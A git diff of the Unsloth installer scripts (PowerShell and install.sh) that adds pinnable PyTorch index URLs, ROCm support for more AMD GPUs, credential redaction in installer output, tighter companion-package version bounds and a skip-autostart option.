     function Get-TorchIndexUrl {
         $baseUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { $env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/') } else { "https://download.pytorch.org/whl" }
+        # Explicit pin -- skip ALL GPU probing (headless / CI / cross-install).
+        # UNSLOTH_TORCH_INDEX_URL wins (full URL, verbatim); _FAMILY is the leaf appended
+        # to the mirror base. Matches install.sh / install_python_stack.py.
+        if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) {
+            return (Trim-IndexPathSlashes $env:UNSLOTH_TORCH_INDEX_URL)
+        }
+        if (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY)) {
+            return "$baseUrl/$($env:UNSLOTH_TORCH_INDEX_FAMILY.Trim().Trim('/'))"
+        }
         if (-not $NvidiaSmiExe) { return "$baseUrl/cpu" }
         try {
             $output = Invoke-NvidiaSmiBounded $NvidiaSmiExe
@@ -1968,6 +2101,27 @@ exit 0
         return "$baseUrl/cu126"
     }
 
+    # Strip userinfo AND query/fragment so an authenticated pin never leaks. Shared with
+    # _strip_index_url_credentials (install.sh / py / setup.ps1).
+    function Remove-IndexUrlCredentials {
+        param([string]$Url)
+        # Ordinal, not culture-aware: on non-English locales (e.g. th-TH) linguistic
+        # IndexOf treats "://" as ignorable, mis-locates it, and crashes Substring (issue #7279).
+        $sep = $Url.IndexOf('://', [System.StringComparison]::Ordinal)
+        if ($sep -lt 0) { return $Url }
+        $scheme = $Url.Substring(0, $sep)
+        $rest = $Url.Substring($sep + 3)
+        # Drop query / fragment (may hold auth tokens).
+        $q = $rest.IndexOfAny([char[]]('?', '#'))
+        if ($q -ge 0) { $rest = $rest.Substring(0, $q) }
+        $slash = $rest.IndexOf('/', [System.StringComparison]::Ordinal)
+        $authority = if ($slash -ge 0) { $rest.Substring(0, $slash) } else { $rest }
+        $at = $authority.LastIndexOf('@', [System.StringComparison]::Ordinal)
+        $host_ = if ($at -ge 0) { $authority.Substring($at + 1) } else { $authority }
+        if ($slash -ge 0) { return "${scheme}://${host_}$($rest.Substring($slash))" }
+        return "${scheme}://${host_}"
+    }
+
     # ── Torch flavor helpers (to repair a stale CPU / wrong-CUDA wheel) ──
     # torch.__version__ -> flavor tag (cuXXX / rocm / cpu); untagged wheel = cpu,
     # matching setup.ps1's stale-venv parse.
@@ -1986,11 +2140,13 @@ exit 0
         param([string]$TorchIndexUrl, [string]$ROCmIndexUrl)
         if (-not [string]::IsNullOrWhiteSpace($ROCmIndexUrl)) { return 'rocm' }
         if ([string]::IsNullOrWhiteSpace($TorchIndexUrl)) { return $null }
-        $leaf = ($TorchIndexUrl.TrimEnd('/') -split '/')[-1].ToLowerInvariant()
+        # Drop query/fragment first so .../cu128?token=x classifies as cu128 (else it reinstalls every run).
+        $leaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLowerInvariant()
         if ($leaf -match '^cu\d+$') { return $leaf }
         if ($leaf -eq 'cpu')        { return 'cpu' }
         if ($leaf -match '^rocm')   { return 'rocm' }
-        if ($leaf -match '^gfx')    { return 'rocm' }
+        # gfx must be followed by a digit (an architecture leaf); gfx-private is custom.
+        if ($leaf -match '^gfx[0-9]') { return 'rocm' }
         return $null
     }
 
@@ -2025,6 +2181,10 @@ exit 0
         } catch { return $null }
     }
 
+    # An explicit pin is authoritative: the AMD ROCm reroute below must not rewrite it
+    # (e.g. a deliberate cpu pin on an AMD host).
+    $TorchIndexPinned = (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_URL)) -or `
+                        (-not [string]::IsNullOrWhiteSpace($env:UNSLOTH_TORCH_INDEX_FAMILY))
     $TorchIndexUrl = Get-TorchIndexUrl
 
     # ── GPU arch → newest compatible Windows ROCm wheel release ──
@@ -2036,13 +2196,19 @@ exit 0
     # Override with UNSLOTH_ROCM_WINDOWS_MIRROR for air-gapped / mirror installs.
     $ROCmIndexUrl = $null
     $ROCmTorchFloor = $null
-    if (($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
+    $PinnedRocmVisionSpec = $null
+    $PinnedRocmAudioSpec = $null
+    if (-not $TorchIndexPinned -and ($HasROCm -or $ROCmGfxArch) -and $TorchIndexUrl -like "*/cpu" -and -not $SkipTorch) {
         $amdIndexBase = if ($env:UNSLOTH_ROCM_WINDOWS_MIRROR) { $env:UNSLOTH_ROCM_WINDOWS_MIRROR.TrimEnd('/') } else { "https://repo.amd.com/rocm/whl" }
         $archFamilyMap = @{
             "gfx1201" = "gfx120X-all"; "gfx1200" = "gfx120X-all"  # RDNA 4
             "gfx1151" = "gfx1151";     "gfx1150" = "gfx1150"       # RDNA 3.5 (Strix Halo/Point)
             "gfx1103" = "gfx110X-all"; "gfx1102" = "gfx110X-all"   # RDNA 3
             "gfx1101" = "gfx110X-all"; "gfx1100" = "gfx110X-all"
+            "gfx1036" = "gfx103X-all"; "gfx1035" = "gfx103X-all"   # RDNA 2 (RX 6000)
+            "gfx1034" = "gfx103X-all"; "gfx1033" = "gfx103X-all"
+            "gfx1032" = "gfx103X-all"; "gfx1031" = "gfx103X-all"
+            "gfx1030" = "gfx103X-all"
             "gfx90a"  = "gfx90a";      "gfx908"  = "gfx908"        # MI200/MI100
         }
         # gfx120X (RDNA 4) and gfx1151/gfx1150 (Strix) have a null-pointer bug in
@@ -2086,6 +2252,32 @@ exit 0
         }
     }
 
+    # A gfx*/rocm pin skips the auto-reroute above, but the generic CPU/CUDA install below
+    # would use torch>=2.4,<2.11 and pull a known-bad wheel on the gfx115x/gfx120x/rocm>=7.2
+    # indexes (the _grouped_mm bug). Route a pinned ROCm index through the ROCm path.
+    if ($TorchIndexPinned -and -not $ROCmIndexUrl -and -not $SkipTorch) {
+        $_pinLeaf = (($TorchIndexUrl -split '[?#]', 2)[0].TrimEnd('/') -split '/')[-1].ToLower()
+        $_pinRocm211 = $false
+        # Anchor ($) so a suffixed custom leaf (rocm7.2-private) falls through to verbatim.
+        if ($_pinLeaf -match '^rocm(\d+)\.(\d+)$') {
+            # Only KNOWN-2.11 rocm (rocm7.2) gets the floor. Matches Test-RocmKnown211Version.
+            $_pinRocm211 = ([int]$Matches[1] -eq 7 -and [int]$Matches[2] -eq 2)
+        }
+        # Only the 2.11-allowlist gfx arches need the floor; others publish <2.11 and stay bare.
+        $_pinGfx211 = @('gfx120x-all', 'gfx1151', 'gfx1150') -contains $_pinLeaf
+        if ($_pinGfx211 -or $_pinRocm211) {
+            $ROCmIndexUrl = $TorchIndexUrl
+            $ROCmTorchFloor = "torch>=2.11.0,<2.12.0"
+            $PinnedRocmVisionSpec = "torchvision>=0.26.0,<0.27.0"
+            $PinnedRocmAudioSpec = "torchaudio>=2.11.0,<2.12.0"
+            substep "pinned ROCm index ($_pinLeaf) -- enforcing $ROCmTorchFloor" "Cyan"
+        } elseif ($_pinLeaf -match '^gfx[0-9]' -or $_pinLeaf -match '^rocm[0-9]+(\.[0-9]+)?$') {
+            # Other gfx / older rocm (<=7.1) ship torch <2.11; route via the ROCm path with
+            # bare specs. Only EXACT rocm<digits>/gfx* are families; a suffixed leaf is verbatim.
+            $ROCmIndexUrl = $TorchIndexUrl
+        }
+    }
+
     if ($ROCmIndexUrl) {
         $TorchIndexFamily = "rocm"
     } else {
@@ -2148,14 +2340,14 @@ exit 0
     }
 
     if ($_Migrated) {
-        # Migrated env: force-reinstall unsloth+unsloth-zoo to ensure clean state
-        # in the new venv location, while preserving existing torch/CUDA
+        # Migrated env: force-reinstall unsloth+unsloth-zoo for a clean state, preserving
+        # existing torch/CUDA unless the flavor repair below re-lands it.
         Write-TauriLog "STEP" "Installing unsloth"
         substep "upgrading unsloth in migrated environment..."
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated no-torch)" { uv pip install --python $VenvPython --no-deps --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
             if ($baseInstallExit -eq 0) {
                 # Resolve pydantic WITH deps so pip pins pydantic-core
                 # to the matching version (no-torch-runtime.txt below
@@ -2169,7 +2361,7 @@ exit 0
                 }
             }
         } else {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (migrated)" { uv pip install --python $VenvPython --reinstall-package unsloth --reinstall-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
         }
         if ($baseInstallExit -ne 0) {
             Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
@@ -2194,22 +2386,24 @@ exit 0
             substep "skipping PyTorch (--no-torch flag set)." "Yellow"
         } elseif ($ROCmIndexUrl) {
             Write-TauriLog "STEP" "Installing PyTorch (AMD ROCm Windows)"
-            substep "installing PyTorch from $ROCmIndexUrl..."
+            substep "installing PyTorch from $(Remove-IndexUrlCredentials $ROCmIndexUrl)..."
             $torchSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
             # Pin the companions to match $torchSpec; bare names can resolve an
             # ABI-incompatible torchvision/torchaudio on AMD's per-arch index.
-            $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
-            $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
+            $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
+            $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (AMD ROCm)" { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $torchSpec $visionSpec $audioSpec }
             if ($torchInstallExit -ne 0) {
-                # Transient AMD-index failure: fall back to a CPU base so the install
-                # still completes; Studio setup retries ROCm afterwards.
-                substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Studio setup retries ROCm." "Yellow"
+                # Transient AMD-index failure: fall back to a CPU base (Unsloth setup retries
+                # ROCm). Use an explicit CPU index -- for a pinned ROCm index $TorchIndexUrl IS
+                # the ROCm mirror, so reusing it would just retry it.
+                $CpuFallbackIndexUrl = if ($env:UNSLOTH_PYTORCH_MIRROR) { "$($env:UNSLOTH_PYTORCH_MIRROR.TrimEnd('/'))/cpu" } else { "https://download.pytorch.org/whl/cpu" }
+                substep "ROCm PyTorch install failed (exit $torchInstallExit); using a CPU base, Unsloth setup retries ROCm." "Yellow"
                 # --force-reinstall: a failed ROCm install can leave an unpinned ROCm
                 # torch (e.g. 2.10.0+rocm on gfx110X/gfx90a) that still satisfies the CPU
                 # torch>= range, so without it uv would keep the ROCm build and only swap
                 # the companions -- a mismatched venv the flavor-repair block won't fix.
-                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+                $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch (CPU fallback)" { uv pip install --python $VenvPython --force-reinstall "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $CpuFallbackIndexUrl }
                 if ($torchInstallExit -ne 0) {
                     Write-Host "[ERROR] Failed to install PyTorch (ROCm and CPU base both failed, exit code $torchInstallExit)" -ForegroundColor Red
                     return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2222,8 +2416,14 @@ exit 0
             }
         } else {
             Write-TauriLog "STEP" "Installing PyTorch"
-            substep "installing PyTorch ($TorchIndexUrl)..."
-            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl }
+            substep "installing PyTorch ($(Remove-IndexUrlCredentials $TorchIndexUrl))..."
+            # Bound the companions to the capped torch on EVERY index, cu<digits>
+            # families included: torchaudio 2.11 dropped its exact torch pin from
+            # the wheel metadata, so a bare companion next to torch<2.11 can
+            # resolve a mismatched 2.11.0 build. Mirrors install.sh.
+            $_pinVisionSpec = "torchvision>=0.19,<0.26.0"
+            $_pinAudioSpec = "torchaudio>=2.4,<2.11.0"
+            $torchInstallExit = Invoke-InstallCommandRetry -Label "install PyTorch" { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" $_pinVisionSpec $_pinAudioSpec --default-index $TorchIndexUrl }
             if ($torchInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install PyTorch (exit code $torchInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install PyTorch (exit code $torchInstallExit)" $torchInstallExit)
@@ -2235,7 +2435,7 @@ exit 0
         if ($SkipTorch) {
             # No-torch: install unsloth + unsloth-zoo with --no-deps, then
             # runtime deps (typer, safetensors, transformers, etc.) with --no-deps.
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (no-torch)" { uv pip install --python $VenvPython --no-deps --upgrade-package unsloth --upgrade-package unsloth-zoo "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
             if ($baseInstallExit -eq 0) {
                 # Same pydantic-with-deps trick as the migrated branch.
                 $baseInstallExit = Invoke-InstallCommandRetry -Label "install pydantic" { uv pip install --python $VenvPython pydantic }
@@ -2247,7 +2447,7 @@ exit 0
                 }
             }
         } elseif ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.6.9" "unsloth-zoo>=2026.6.7" }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (local)" { uv pip install --python $VenvPython --upgrade-package unsloth "unsloth>=2026.7.5" "unsloth-zoo>=2026.7.6" }
         } else {
             $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth" { uv pip install --python $VenvPython --upgrade-package unsloth -- "$PackageName" }
         }
@@ -2275,7 +2475,7 @@ exit 0
         Write-TauriLog "STEP" "Installing unsloth"
         substep "installing unsloth (this may take a few minutes)..."
         if ($StudioLocalInstall) {
-            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.6.7" "unsloth>=2026.6.9" --torch-backend=auto }
+            $baseInstallExit = Invoke-InstallCommandRetry -Label "install unsloth (auto torch backend)" { uv pip install --python $VenvPython "unsloth-zoo>=2026.7.6" "unsloth>=2026.7.5" --torch-backend=auto }
             if ($baseInstallExit -ne 0) {
                 Write-Host "[ERROR] Failed to install unsloth (exit code $baseInstallExit)" -ForegroundColor Red
                 return (Exit-InstallFailure "Failed to install unsloth (exit code $baseInstallExit)" $baseInstallExit)
@@ -2301,12 +2501,19 @@ exit 0
         }
     }
 
+    $installedPackageVersion = (& $VenvPython -c "from importlib.metadata import version; import sys; print(version(sys.argv[1]))" $PackageName 2>$null | Out-String).Trim()
+    if ($LASTEXITCODE -eq 0 -and $installedPackageVersion) {
+        step $PackageName "$installedPackageVersion installed"
+    } else {
+        substep "[WARN] installed $PackageName version could not be determined" "Yellow"
+    }
+
     # ── Enforce the installed torch flavor matches the detected GPU build ──
     # PEP 440 ignores the +cpu/+cuXXX/+rocm local label in a version range, so uv
     # keeps a stale torch==X+cpu against a CUDA index and setup.ps1 then loops on
     # "torch cpu != required cuXXX". Reinstall the right triplet when a GPU build is
     # expected: CUDA from $TorchIndexUrl, ROCm from $ROCmIndexUrl (repo.amd.com gfx*
-    # is a PEP 503 index uv resolves via --index-url, same URL the fresh ROCm install
+    # is a PEP 503 index uv resolves via --default-index, same URL the fresh ROCm install
     # above uses). --no-torch / CPU-only hosts (expected cpu) are no-ops.
     if (-not $SkipTorch) {
         $expectedTorchTag = Get-ExpectedTorchFlavorTag -TorchIndexUrl $TorchIndexUrl -ROCmIndexUrl $ROCmIndexUrl
@@ -2319,10 +2526,10 @@ exit 0
                     $rocmSpec = if ($ROCmTorchFloor) { $ROCmTorchFloor } else { "torch" }
                     # Pin companions like the fresh ROCm path (bare names can pull an
                     # ABI-incompatible torchvision/torchaudio from the per-arch index).
-                    $visionSpec = if ($ROCmGfxArch -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
-                    $audioSpec = if ($ROCmGfxArch -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
+                    $visionSpec = if ($PinnedRocmVisionSpec) { $PinnedRocmVisionSpec } elseif ($ROCmGfxArch -and $torchvisionFloorMap -and $torchvisionFloorMap.ContainsKey($ROCmGfxArch)) { $torchvisionFloorMap[$ROCmGfxArch] } else { "torchvision" }
+                    $audioSpec = if ($PinnedRocmAudioSpec) { $PinnedRocmAudioSpec } elseif ($ROCmGfxArch -and $torchaudioFloorMap -and $torchaudioFloorMap.ContainsKey($ROCmGfxArch)) { $torchaudioFloorMap[$ROCmGfxArch] } else { "torchaudio" }
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need ROCm) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --index-url $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython --force-reinstall --default-index $ROCmIndexUrl $rocmSpec $visionSpec $audioSpec }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct ROCm build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch (ROCm) (exit code $torchFixExit)" $torchFixExit)
@@ -2331,7 +2538,7 @@ exit 0
                 } elseif ($expectedTorchTag -ne 'rocm') {
                     # CUDA: stale +cpu (or wrong cuXXX) against a CUDA index -> reinstall triplet.
                     substep "PyTorch flavor mismatch (installed $installedTorchTag, need $expectedTorchTag) -- reinstalling correct build..." "Yellow"
-                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" torchvision torchaudio --index-url $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
+                    $torchFixExit = Invoke-InstallCommand { uv pip install --python $VenvPython "torch>=2.4,<2.11.0" "torchvision>=0.19,<0.26.0" "torchaudio>=2.4,<2.11.0" --default-index $TorchIndexUrl --reinstall-package torch --reinstall-package torchvision --reinstall-package torchaudio }
                     if ($torchFixExit -ne 0) {
                         Write-Host "[ERROR] Failed to reinstall PyTorch with the correct CUDA build (exit code $torchFixExit)" -ForegroundColor Red
                         return (Exit-InstallFailure "Failed to reinstall PyTorch ($expectedTorchTag) (exit code $torchFixExit)" $torchFixExit)
@@ -2406,7 +2613,7 @@ exit 0
         Write-TauriLog "ERROR" "unsloth CLI was not installed correctly"
         Write-Host "[ERROR] unsloth CLI was not installed correctly." -ForegroundColor Red
         Write-Host "        Expected: $UnslothExe" -ForegroundColor Yellow
-        Write-Host "        This usually means an older unsloth version was installed that does not include the Studio CLI." -ForegroundColor Yellow
+        Write-Host "        This usually means an older unsloth version was installed that does not include the Unsloth CLI." -ForegroundColor Yellow
         Write-Host "        Try re-running the installer or see: https://github.com/unslothai/unsloth?tab=readme-ov-file#-quickstart" -ForegroundColor Yellow
         return (Exit-InstallFailure "unsloth CLI was not installed correctly")
     }
@@ -2517,7 +2724,7 @@ exit 0
         Write-Host "        Move or remove it manually, then re-run the installer." -ForegroundColor Yellow
         throw "Cannot create unsloth launcher: $ShimExe is a directory."
     }
-    # try/catch: if unsloth.exe is locked (Studio running), keep the old shim.
+    # try/catch: if unsloth.exe is locked (Unsloth running), keep the old shim.
     $shimUpdated = $false
     try {
         if (Test-Path -LiteralPath $ShimExe) { Remove-Item -LiteralPath $ShimExe -Force -ErrorAction Stop }
@@ -2535,7 +2742,7 @@ exit 0
         if (Test-Path -LiteralPath $ShimExe) {
             Write-Host "[WARN] Could not refresh unsloth launcher at $ShimExe." -ForegroundColor Yellow
             Write-Host "       This usually means a running 'unsloth studio' process still holds the file open." -ForegroundColor Yellow
-            Write-Host "       Close Studio and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow
+            Write-Host "       Close Unsloth and re-run the installer to pick up the latest launcher." -ForegroundColor Yellow
             Write-Host "       Continuing with the existing launcher." -ForegroundColor Yellow
         } else {
             Write-Host "[WARN] Could not create unsloth launcher at $ShimExe" -ForegroundColor Yellow
@@ -2556,6 +2763,13 @@ exit 0
     }
     Refresh-SessionPath  # sync current session with registry
     Complete-StudioVenvRollback
+    $studioVenvReplacementCommitted = $true
+    Remove-StaleStudioVenvRollbacks
+    } finally {
+        if (-not $studioVenvReplacementCommitted) {
+            Restore-StudioVenvRollback
+        }
+    }
 
     # Env-mode session export AFTER Refresh-SessionPath; otherwise a legacy
     # User PATH entry (Machine > User > current $env:Path) would win.
@@ -2600,9 +2814,10 @@ exit 0
         # Diagnostic only; never block install on a probe failure.
     }
 
-    # In interactive terminals, ask the user before starting Studio.
+    # In interactive terminals, ask the user before starting Unsloth unless the
+    # caller explicitly disabled the post-install prompt.
     # In non-interactive environments (CI, Docker) just print instructions.
-    $IsInteractive = [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
+    $IsInteractive = (-not $SkipAutostart) -and [Environment]::UserInteractive -and (-not [Console]::IsInputRedirected)
     if ($IsInteractive) {
         Write-Host ""
         $reply = Read-Host "  Start Unsloth Studio now? [Y/n]"
@@ -2611,8 +2826,8 @@ exit 0
         } else {
             step "launch" "to start later, run:"
             substep "unsloth studio -p 8888"
-            substep "(add -H 0.0.0.0 to allow network / cloud access)"
-            substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+            substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+            substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
             Write-Host ""
         }
     } else {
@@ -2632,8 +2847,8 @@ exit 0
             substep "& $_actLiteral"
             substep "unsloth studio -p 8888"
         }
-        substep "(add -H 0.0.0.0 to allow network / cloud access)"
-        substep "(add --secure for a public Cloudflare HTTPS link; anyone with the API key can run code)"
+        substep "(add -H 0.0.0.0 for LAN / cloud access; exposes the raw port only, not a public URL)"
+        substep "(add -H 0.0.0.0 --cloudflare for a public Cloudflare HTTPS link, or --secure to keep the raw port private; anyone with the API key can run code)"
         Write-Host ""
     }
 }
diff --git a/install.sh b/install.sh
index 0370559540..84c5be9742 100755
--- a/install.sh
+++ b/install.sh
@@ -8,8 +8,9 @@
 #
 # Piped installs take options as env vars after the pipe (a bare `| sh --no-torch`
 # makes sh reject --no-torch as its own option). Flags still work via ./install.sh:
-#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh    # skip PyTorch (GGUF-only)
-#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh   # pin Python version
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_NO_TORCH=1 sh       # skip PyTorch (GGUF-only)
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_SKIP_AUTOSTART=1 sh # do not prompt to launch
+#   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_PYTHON=3.12 sh      # pin Python version
 #   curl -fsSL https://unsloth.ai/install.sh | UNSLOTH_STUDIO_HOME=/abs/path sh
 # Equivalent flags: ./install.sh --no-torch --python 3.12  (or pipe them: sh -s -- --no-torch)
 #
@@ -49,6 +50,7 @@ PACKAGE_NAME="unsloth"
 TAURI_MODE=false
 _USER_PYTHON=""
 _NO_TORCH_FLAG=false
+_SKIP_AUTOSTART=false
 _VERBOSE=false
 _SHORTCUTS_ONLY=false
 _next_is_package=false
@@ -88,13 +90,14 @@ done
 
 # Env-var equivalents for piped installs; an explicit flag still wins.
 case "${UNSLOTH_NO_TORCH:-}" in 1|true|TRUE|yes|YES|on|ON) _NO_TORCH_FLAG=true ;; esac
+case "${UNSLOTH_SKIP_AUTOSTART:-}" in 1|true|TRUE|yes|YES|on|ON) _SKIP_AUTOSTART=true ;; esac
 [ -z "$_USER_PYTHON" ] && [ -n "${UNSLOTH_PYTHON:-}" ] && _USER_PYTHON="$UNSLOTH_PYTHON"
 
 if [ "$_VERBOSE" = true ]; then
     export UNSLOTH_VERBOSE=1
 fi
 
-# Custom Studio roots are not supported with --tauri (desktop app still
+# Custom Unsloth roots are not supported with --tauri (desktop app still
 # resolves ~/.unsloth/studio). Pass through if the override == legacy default.
 if [ "$TAURI_MODE" = true ]; then
     _tauri_override_var=""
@@ -156,12 +159,58 @@ run_maybe_quiet() {
     fi
 }
 
+# Trim trailing slashes from the URL PATH only, preserving ?query / #fragment: a whole-URL
+# strip corrupts a token ending in "/", a single strip leaves .../cu128// empty. Shared.
+_trim_index_path_slashes() {
+    _tips_v="$1"
+    case "$_tips_v" in
+        *[?#]*)
+            _tips_head="${_tips_v%%[?#]*}"
+            _tips_tail="${_tips_v#"$_tips_head"}"
+            ;;
+        *)
+            _tips_head="$_tips_v"
+            _tips_tail=""
+            ;;
+    esac
+    while [ -n "$_tips_head" ] && [ "${_tips_head%/}" != "$_tips_head" ]; do
+        _tips_head="${_tips_head%/}"
+    done
+    printf '%s%s' "$_tips_head" "$_tips_tail"
+}
+
+# Redact index-URL credentials (userinfo + ?query= + #fragment) from captured installer
+# output before printing on failure; uv/pip errors echo the failing --index-url verbatim.
+# Mirrors the other installers. Verbose mode streams uncaptured, so it isn't redacted.
+_redact_install_output() {
+    sed -E \
+        -e 's#(https?://)[^/@[:space:]`]+@#\1<redacted>@#g' \
+        -e 's#([?&][^=[:space:]&`]+)=[^&#[:space:]`]+#\1=<redacted>#g' \
+        -e 's|(https?://[^[:space:]`#]+)#[^[:space:]`]+|\1#<redacted>|g' \
+        "$@"
+}
+
 run_install_cmd() {
     _label="$1"
     shift
+    # Installer-pinned index installs (torch) must beat an inherited uv mirror (#6898):
+    # for --default-index, neutralize the uv index/backend/config vars (UV_TORCH_BACKEND
+    # redirects torch; UV_NO_CONFIG=1 + dropping UV_CONFIG_FILE stops a uv.toml/pyproject
+    # index outranking the CLI pin, uv 0.10).
+    case " $* " in
+        *" --default-index "*) set -- env -u UV_DEFAULT_INDEX -u UV_INDEX_URL -u UV_INDEX -u UV_EXTRA_INDEX_URL -u UV_TORCH_BACKEND -u UV_FIND_LINKS -u UV_CONFIG_FILE UV_NO_CONFIG=1 "$@" ;;
+    esac
     if _is_verbose; then
-        "$@" && return 0
-        _rc=$?
+        # Stream through the redactor: uv echoes index URLs (credentials and
+        # all) in its errors, and verbose mode previously bypassed the
+        # redaction the quiet path applies. The rc file preserves the
+        # command's exit code across the pipe without relying on pipefail
+        # (this script runs under plain sh).
+        _rcf=$(mktemp)
+        { "$@" 2>&1; printf '%s' "$?" > "$_rcf"; } | _redact_install_output
+        _rc=$(cat "$_rcf" 2>/dev/null || echo 1)
+        rm -f "$_rcf"
+        [ "${_rc:-1}" -eq 0 ] 2>/dev/null && return 0
         step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2
         return "$_rc"
     fi
@@ -169,7 +218,7 @@ run_install_cmd() {
     "$@" >"$_log" 2>&1 && { rm -f "$_log"; return 0; }
     _rc=$?
     step "error" "$_label failed (exit code $_rc)" "$C_ERR" >&2
-    cat "$_log" >&2
+    _redact_install_output "$_log" >&2
     rm -f "$_log"
     return $_rc
 }
@@ -248,7 +297,7 @@ _install_bnb_rocm() {
         fi
         _bnb_rc=$?
         if _is_verbose; then
-            cat "$_bnb_log" >&2
+            _redact_install_output "$_bnb_log" >&2
         fi
         rm -f "$_bnb_log"
         step "warning" "$_label (pre-release) failed (exit code $_bnb_rc)" "$C_WARN" >&2
@@ -301,6 +350,11 @@ _tauri_torch_index_family() {
         return
     fi
     _diag_url="${1:-}"
+    # Strip query/fragment AND a trailing slash before classifying (like _torch_index_url_leaf):
